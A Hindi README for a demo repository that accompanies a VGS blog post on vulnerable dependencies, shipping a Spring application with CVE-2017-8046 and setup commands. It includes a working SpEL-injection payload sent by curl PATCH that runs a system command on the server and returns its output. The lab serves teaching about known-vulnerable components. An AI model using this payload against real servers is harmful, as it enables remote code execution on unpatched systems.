अस्वीकरण: यह रिपॉजिटरी VGS ब्लॉग पोस्ट, How to Avoid "Using Components with Known Vulnerabilities" का पूरक है। इसमें एक ज्ञात सुरक्षा भेद्यता (अर्थात्, CVE-2017-8046) वाला एक एप्लिकेशन है, साथ ही इसका शोषण कैसे करें इसका विवरण भी है। एप्लिकेशन का उपयोग अपने जोखिम पर करें!

सेटअप करना

सबसे पहले, रिपॉजिटरी के रूट से निम्नलिखित कमांड निष्पादित करके एप्लिकेशन प्रारंभ करें:

mvn clean spring-boot:run

दूसरा, इस तरह एक POST अनुरोध भेजकर एक संसाधन बनाएँ:

curl -X POST http://localhost:8080/books \
  -H 'Content-Type: application/json' \
  -d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'

भेद्यता का शोषण करना

curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'

CVE-2017-8046

सबसे लोकप्रिय

भेद्य निर्भरताओं की जाँच करना

VGS क्या है?

लाइसेंस